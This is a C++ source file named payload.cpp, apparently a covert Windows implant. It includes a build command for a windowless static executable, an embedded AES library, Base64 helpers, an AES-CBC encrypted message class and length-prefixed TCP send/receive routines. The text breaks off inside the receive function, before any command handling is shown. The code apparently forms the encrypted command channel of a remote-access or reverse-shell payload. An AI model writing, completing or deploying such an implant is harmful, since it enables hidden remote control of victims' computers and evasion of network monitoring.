payload.cpp

/*
x86_64-w64-mingw32-g++ -o payload.exe payload.cpp -lws2_32 -static -static-libgcc -static-libstdc++ -O2 -mwindows
*/
#include <winsock2.h>
#include <ws2tcpip.h>
#include <string>
#include <vector>
#include <stdexcept>
#include <algorithm>
#include <memory>
#include <fstream>
#include <sstream>
#include <array>
#include <windows.h>
#ifndef _AES_H_
#define _AES_H_

#include <stdint.h>
#include <stddef.h>

// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.

// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
#ifndef CBC
  #define CBC 1
#endif

#ifndef ECB
  #define ECB 1
#endif

#ifndef CTR
  #define CTR 1
#endif


#define AES128 1
//#define AES192 1
//#define AES256 1

#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only

#if defined(AES256) && (AES256 == 1)
    #define AES_KEYLEN 32
    #define AES_keyExpSize 240
#elif defined(AES192) && (AES192 == 1)
    #define AES_KEYLEN 24
    #define AES_keyExpSize 208
#else
    #define AES_KEYLEN 16   // Key length in bytes
    #define AES_keyExpSize 176
#endif

struct AES_ctx
{
  uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
  uint8_t Iv[AES_BLOCKLEN];
#endif
};

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif

#if defined(ECB) && (ECB == 1)
// buffer size is exactly AES_BLOCKLEN bytes; 
// you need only AES_init_ctx as IV is not used in ECB 
// NB: ECB is considered insecure for most uses
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);

#endif // #if defined(ECB) && (ECB == !)


#if defined(CBC) && (CBC == 1)
// buffer size MUST be mutile of AES_BLOCKLEN;
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
//        no IV should ever be reused with the same key 
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CBC) && (CBC == 1)


#if defined(CTR) && (CTR == 1)

// Same function for encrypting as for decrypting. 
// IV is incremented for every block, and used after encryption as XOR-compliment for output
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
//        no IV should ever be reused with the same key 
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CTR) && (CTR == 1)


#endif // _AES_H_

/*

This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.

The implementation is verified against the test vectors in:
  National Institute of Standards and Technology Special Publication 800-38A 2001 ED

ECB-AES128
----------

  plain-text:
    6bc1bee22e409f96e93d7e117393172a
    ae2d8a571e03ac9c9eb76fac45af8e51
    30c81c46a35ce411e5fbc1191a0a52ef
    f69f2445df4f9b17ad2b417be66c3710

  key:
    2b7e151628aed2a6abf7158809cf4f3c

  resulting cipher
    3ad77bb40d7a3660a89ecaf32466ef97 
    f5d3d58503b9699de785895a96fdbaaf 
    43b1cd7f598ece23881b00e3ed030688 
    7b0c785e27e8ad3f8223207104725dd4 


NOTE:   String length must be evenly divisible by 16byte (str_len % 16 == 0)
        You should pad the end of the string with zeros if this is not the case.
        For AES192/256 the key size is proportionally larger.

*/


/*****************************************************************************/
/* Includes:                                                                 */
/*****************************************************************************/
#include <string.h> // CBC mode, for memset


/*****************************************************************************/
/* Defines:                                                                  */
/*****************************************************************************/
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4

#if defined(AES256) && (AES256 == 1)
    #define Nk 8
    #define Nr 14
#elif defined(AES192) && (AES192 == 1)
    #define Nk 6
    #define Nr 12
#else
    #define Nk 4        // The number of 32 bit words in a key.
    #define Nr 10       // The number of rounds in AES Cipher.
#endif

// jcallan@github points out that declaring Multiply as a function 
// reduces code size considerably with the Keil ARM compiler.
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
#ifndef MULTIPLY_AS_A_FUNCTION
  #define MULTIPLY_AS_A_FUNCTION 0
#endif




/*****************************************************************************/
/* Private variables:                                                        */
/*****************************************************************************/
// state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];



// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
// The numbers below can be computed dynamically trading ROM for RAM - 
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
static const uint8_t sbox[256] = {
  //0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F
  0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
  0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
  0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
  0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
  0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
  0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
  0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
  0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
  0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
  0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
  0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
  0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
  0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
  0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
  0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
  0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static const uint8_t rsbox[256] = {
  0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
  0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
  0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
  0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
  0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
  0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
  0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
  0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
  0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
  0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
  0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
  0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
  0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
  0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
  0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
  0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
#endif

// The round constant word array, Rcon[i], contains the values given by 
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
static const uint8_t Rcon[11] = {
  0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };

/*
 * Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
 * that you can remove most of the elements in the Rcon array, because they are unused.
 *
 * From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
 * 
 * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), 
 *  up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
 */


/*****************************************************************************/
/* Private functions:                                                        */
/*****************************************************************************/
/*
static uint8_t getSBoxValue(uint8_t num)
{
  return sbox[num];
}
*/
#define getSBoxValue(num) (sbox[(num)])

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. 
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
{
  unsigned i, j, k;
  uint8_t tempa[4]; // Used for the column/row operations
  
  // The first round key is the key itself.
  for (i = 0; i < Nk; ++i)
  {
    RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
    RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
    RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
    RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
  }

  // All other round keys are found from the previous round keys.
  for (i = Nk; i < Nb * (Nr + 1); ++i)
  {
    {
      k = (i - 1) * 4;
      tempa[0]=RoundKey[k + 0];
      tempa[1]=RoundKey[k + 1];
      tempa[2]=RoundKey[k + 2];
      tempa[3]=RoundKey[k + 3];

    }

    if (i % Nk == 0)
    {
      // This function shifts the 4 bytes in a word to the left once.
      // [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

      // Function RotWord()
      {
        const uint8_t u8tmp = tempa[0];
        tempa[0] = tempa[1];
        tempa[1] = tempa[2];
        tempa[2] = tempa[3];
        tempa[3] = u8tmp;
      }

      // SubWord() is a function that takes a four-byte input word and 
      // applies the S-box to each of the four bytes to produce an output word.

      // Function Subword()
      {
        tempa[0] = getSBoxValue(tempa[0]);
        tempa[1] = getSBoxValue(tempa[1]);
        tempa[2] = getSBoxValue(tempa[2]);
        tempa[3] = getSBoxValue(tempa[3]);
      }

      tempa[0] = tempa[0] ^ Rcon[i/Nk];
    }
#if defined(AES256) && (AES256 == 1)
    if (i % Nk == 4)
    {
      // Function Subword()
      {
        tempa[0] = getSBoxValue(tempa[0]);
        tempa[1] = getSBoxValue(tempa[1]);
        tempa[2] = getSBoxValue(tempa[2]);
        tempa[3] = getSBoxValue(tempa[3]);
      }
    }
#endif
    j = i * 4; k=(i - Nk) * 4;
    RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
    RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
    RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
    RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
  }
}

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
  KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
  KeyExpansion(ctx->RoundKey, key);
  memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
{
  memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
#endif

// This function adds the round key to state.
// The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
{
  uint8_t i,j;
  for (i = 0; i < 4; ++i)
  {
    for (j = 0; j < 4; ++j)
    {
      (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
    }
  }
}

// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void SubBytes(state_t* state)
{
  uint8_t i, j;
  for (i = 0; i < 4; ++i)
  {
    for (j = 0; j < 4; ++j)
    {
      (*state)[j][i] = getSBoxValue((*state)[j][i]);
    }
  }
}

// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t* state)
{
  uint8_t temp;

  // Rotate first row 1 columns to left  
  temp           = (*state)[0][1];
  (*state)[0][1] = (*state)[1][1];
  (*state)[1][1] = (*state)[2][1];
  (*state)[2][1] = (*state)[3][1];
  (*state)[3][1] = temp;

  // Rotate second row 2 columns to left  
  temp           = (*state)[0][2];
  (*state)[0][2] = (*state)[2][2];
  (*state)[2][2] = temp;

  temp           = (*state)[1][2];
  (*state)[1][2] = (*state)[3][2];
  (*state)[3][2] = temp;

  // Rotate third row 3 columns to left
  temp           = (*state)[0][3];
  (*state)[0][3] = (*state)[3][3];
  (*state)[3][3] = (*state)[2][3];
  (*state)[2][3] = (*state)[1][3];
  (*state)[1][3] = temp;
}

static uint8_t xtime(uint8_t x)
{
  return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}

// MixColumns function mixes the columns of the state matrix
static void MixColumns(state_t* state)
{
  uint8_t i;
  uint8_t Tmp, Tm, t;
  for (i = 0; i < 4; ++i)
  {  
    t   = (*state)[i][0];
    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
    Tm  = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm);  (*state)[i][0] ^= Tm ^ Tmp ;
    Tm  = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm);  (*state)[i][1] ^= Tm ^ Tmp ;
    Tm  = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm);  (*state)[i][2] ^= Tm ^ Tmp ;
    Tm  = (*state)[i][3] ^ t ;              Tm = xtime(Tm);  (*state)[i][3] ^= Tm ^ Tmp ;
  }
}

// Multiply is used to multiply numbers in the field GF(2^8)
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
//       The compiler seems to be able to vectorize the operation better this way.
//       See https://github.com/kokke/tiny-AES-c/pull/34
#if MULTIPLY_AS_A_FUNCTION
static uint8_t Multiply(uint8_t x, uint8_t y)
{
  return (((y & 1) * x) ^
       ((y>>1 & 1) * xtime(x)) ^
       ((y>>2 & 1) * xtime(xtime(x))) ^
       ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
       ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
  }
#else
#define Multiply(x, y)                                \
      (  ((y & 1) * x) ^                              \
      ((y>>1 & 1) * xtime(x)) ^                       \
      ((y>>2 & 1) * xtime(xtime(x))) ^                \
      ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^         \
      ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))   \

#endif

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*
static uint8_t getSBoxInvert(uint8_t num)
{
  return rsbox[num];
}
*/
#define getSBoxInvert(num) (rsbox[(num)])

// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
static void InvMixColumns(state_t* state)
{
  int i;
  uint8_t a, b, c, d;
  for (i = 0; i < 4; ++i)
  { 
    a = (*state)[i][0];
    b = (*state)[i][1];
    c = (*state)[i][2];
    d = (*state)[i][3];

    (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
    (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
    (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
    (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
  }
}


// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
  uint8_t i, j;
  for (i = 0; i < 4; ++i)
  {
    for (j = 0; j < 4; ++j)
    {
      (*state)[j][i] = getSBoxInvert((*state)[j][i]);
    }
  }
}

static void InvShiftRows(state_t* state)
{
  uint8_t temp;

  // Rotate first row 1 columns to right  
  temp = (*state)[3][1];
  (*state)[3][1] = (*state)[2][1];
  (*state)[2][1] = (*state)[1][1];
  (*state)[1][1] = (*state)[0][1];
  (*state)[0][1] = temp;

  // Rotate second row 2 columns to right 
  temp = (*state)[0][2];
  (*state)[0][2] = (*state)[2][2];
  (*state)[2][2] = temp;

  temp = (*state)[1][2];
  (*state)[1][2] = (*state)[3][2];
  (*state)[3][2] = temp;

  // Rotate third row 3 columns to right
  temp = (*state)[0][3];
  (*state)[0][3] = (*state)[1][3];
  (*state)[1][3] = (*state)[2][3];
  (*state)[2][3] = (*state)[3][3];
  (*state)[3][3] = temp;
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

// Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t* state, const uint8_t* RoundKey)
{
  uint8_t round = 0;

  // Add the First round key to the state before starting the rounds.
  AddRoundKey(0, state, RoundKey);

  // There will be Nr rounds.
  // The first Nr-1 rounds are identical.
  // These Nr rounds are executed in the loop below.
  // Last one without MixColumns()
  for (round = 1; ; ++round)
  {
    SubBytes(state);
    ShiftRows(state);
    if (round == Nr) {
      break;
    }
    MixColumns(state);
    AddRoundKey(round, state, RoundKey);
  }
  // Add round key to last round
  AddRoundKey(Nr, state, RoundKey);
}

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static void InvCipher(state_t* state, const uint8_t* RoundKey)
{
  uint8_t round = 0;

  // Add the First round key to the state before starting the rounds.
  AddRoundKey(Nr, state, RoundKey);

  // There will be Nr rounds.
  // The first Nr-1 rounds are identical.
  // These Nr rounds are executed in the loop below.
  // Last one without InvMixColumn()
  for (round = (Nr - 1); ; --round)
  {
    InvShiftRows(state);
    InvSubBytes(state);
    AddRoundKey(round, state, RoundKey);
    if (round == 0) {
      break;
    }
    InvMixColumns(state);
  }

}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

/*****************************************************************************/
/* Public functions:                                                         */
/*****************************************************************************/
#if defined(ECB) && (ECB == 1)


void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
  // The next function call encrypts the PlainText with the Key using AES algorithm.
  Cipher((state_t*)buf, ctx->RoundKey);
}

void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
  // The next function call decrypts the PlainText with the Key using AES algorithm.
  InvCipher((state_t*)buf, ctx->RoundKey);
}


#endif // #if defined(ECB) && (ECB == 1)





#if defined(CBC) && (CBC == 1)


static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
{
  uint8_t i;
  for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
  {
    buf[i] ^= Iv[i];
  }
}

void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
{
  size_t i;
  uint8_t *Iv = ctx->Iv;
  for (i = 0; i < length; i += AES_BLOCKLEN)
  {
    XorWithIv(buf, Iv);
    Cipher((state_t*)buf, ctx->RoundKey);
    Iv = buf;
    buf += AES_BLOCKLEN;
  }
  /* store Iv in ctx for next call */
  memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}

void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
  size_t i;
  uint8_t storeNextIv[AES_BLOCKLEN];
  for (i = 0; i < length; i += AES_BLOCKLEN)
  {
    memcpy(storeNextIv, buf, AES_BLOCKLEN);
    InvCipher((state_t*)buf, ctx->RoundKey);
    XorWithIv(buf, ctx->Iv);
    memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
    buf += AES_BLOCKLEN;
  }

}

#endif // #if defined(CBC) && (CBC == 1)



#if defined(CTR) && (CTR == 1)

/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
  uint8_t buffer[AES_BLOCKLEN];
  
  size_t i;
  int bi;
  for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
  {
    if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
    {
      
      memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
      Cipher((state_t*)buffer,ctx->RoundKey);

      /* Increment Iv and handle overflow */
      for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
      {
	/* inc will overflow */
        if (ctx->Iv[bi] == 255)
	{
          ctx->Iv[bi] = 0;
          continue;
        } 
        ctx->Iv[bi] += 1;
        break;   
      }
      bi = 0;
    }

    buf[i] = (buf[i] ^ buffer[bi]);
  }
}

#endif // #if defined(CTR) && (CTR == 1)



#pragma comment(lib, "Ws2_32.lib")

class Base64 {
private:
    static const std::string BASE64_CHARS;

    static inline bool is_base64(unsigned char c) {
        return (isalnum(c) || (c == '+') || (c == '/'));
    }

public:
    static std::string encode(const std::string& input) {
        std::string ret;
        int i = 0;
        unsigned char char_array_3[3], char_array_4[4];

        for (size_t n = 0; n < input.size(); n++) {
            char_array_3[i++] = input[n];
            if (i == 3) {
                char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
                char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
                char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
                char_array_4[3] = char_array_3[2] & 0x3f;

                for (i = 0; i < 4; i++) {
                    ret += BASE64_CHARS[char_array_4[i]];
                }
                i = 0;
            }
        }

        if (i) {
            for (int j = i; j < 3; j++) {
                char_array_3[j] = '\0';
            }

            char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
            char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
            char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
            char_array_4[3] = char_array_3[2] & 0x3f;

            for (int j = 0; j < i + 1; j++) {
                ret += BASE64_CHARS[char_array_4[j]];
            }

            while (i++ < 3) {
                ret += '=';
            }
        }

        return ret;
    }

    static std::string decode(const std::string& encoded_string) {
        int in_len = encoded_string.size();
        int i = 0;
        int j = 0;
        int in_ = 0;
        unsigned char char_array_4[4], char_array_3[3];
        std::string ret;

        while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
            char_array_4[i++] = encoded_string[in_]; in_++;
            if (i == 4) {
                for (i = 0; i < 4; i++)
                    char_array_4[i] = BASE64_CHARS.find(char_array_4[i]);

                char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
                char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
                char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

                for (i = 0; (i < 3); i++)
                    ret += char_array_3[i];
                i = 0;
            }
        }

        if (i) {
            for (j = i; j < 4; j++)
                char_array_4[j] = 0;

            for (j = 0; j < 4; j++)
                char_array_4[j] = BASE64_CHARS.find(char_array_4[j]);

            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
        }

        return ret;
    }
};

const std::string Base64::BASE64_CHARS =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    "abcdefghijklmnopqrstuvwxyz"
    "0123456789+/";
    
class AESCipherTCP {
private:
    std::vector<uint8_t> key;
    AES_ctx ctx;

    std::vector<uint8_t> pad(const std::vector<uint8_t>& data) {
        size_t pad_len = 16 - (data.size() % 16);
        std::vector<uint8_t> padded = data;
        padded.insert(padded.end(), pad_len, static_cast<uint8_t>(pad_len));
        return padded;
    }

    std::vector<uint8_t> unpad(const std::vector<uint8_t>& data) {
        if (data.empty()) return data;
        uint8_t pad_len = data.back();
        if (pad_len > 16 || pad_len == 0) return data;
        return std::vector<uint8_t>(data.begin(), data.end() - pad_len);
    }

public:
    AESCipherTCP(const std::string& key_str) {
        key = std::vector<uint8_t>(key_str.begin(), key_str.end());
        if (key.size() != 16 && key.size() != 24 && key.size() != 32) {
            throw std::runtime_error("Key must be 16, 24, or 32 bytes long");
        }
        AES_init_ctx(&ctx, key.data());
    }

    std::vector<uint8_t> encrypt(const std::string& raw) {
        std::vector<uint8_t> data(raw.begin(), raw.end());
        data = pad(data);
        std::vector<uint8_t> iv(16);
        for (size_t i = 0; i < 16; ++i) iv[i] = rand() % 256;
        std::vector<uint8_t> result = iv;
        AES_ctx ctx_copy = ctx;
        AES_ctx_set_iv(&ctx_copy, iv.data());
        AES_CBC_encrypt_buffer(&ctx_copy, data.data(), data.size());
        result.insert(result.end(), data.begin(), data.end());
        return result;
    }

    std::string decrypt(const std::vector<uint8_t>& enc) {
        if (enc.size() < 16) throw std::runtime_error("Invalid encrypted data");
        std::vector<uint8_t> iv(enc.begin(), enc.begin() + 16);
        std::vector<uint8_t> data(enc.begin() + 16, enc.end());
        if (data.size() % 16 != 0) throw std::runtime_error("Invalid data length");
        AES_ctx ctx_copy = ctx;
        AES_ctx_set_iv(&ctx_copy, iv.data());
        AES_CBC_decrypt_buffer(&ctx_copy, data.data(), data.size());
        data = unpad(data);
        return std::string(data.begin(), data.end());
    }
};

void send_data(SOCKET sock, const std::vector<uint8_t>& data) {
    uint32_t length = static_cast<uint32_t>(data.size());
    std::vector<uint8_t> header(4);
    header[0] = (length >> 24) & 0xFF;
    header[1] = (length >> 16) & 0xFF;
    header[2] = (length >> 8) & 0xFF;
    header[3] = length & 0xFF;
    send(sock, reinterpret_cast<const char*>(header.data()), 4, 0);
    send(sock, reinterpret_cast<const char*>(data.data()), data.size(), 0);
}

std::vector<uint8_t> recv_all(SOCKET sock, size_t n) {
    std::vector<uint8_t> data(n);
    size_t received = 0;
    while (received < n) {
        int result = recv(sock, reinterpret_cast<char*>(&data[received]), n - received, 0);
        if (result <= 0) throw std::runtime_error("Connection closed");
        received += result;
    }
    return data;
}

std::vector<uint8_t> recv_data(SOCKET sock) {
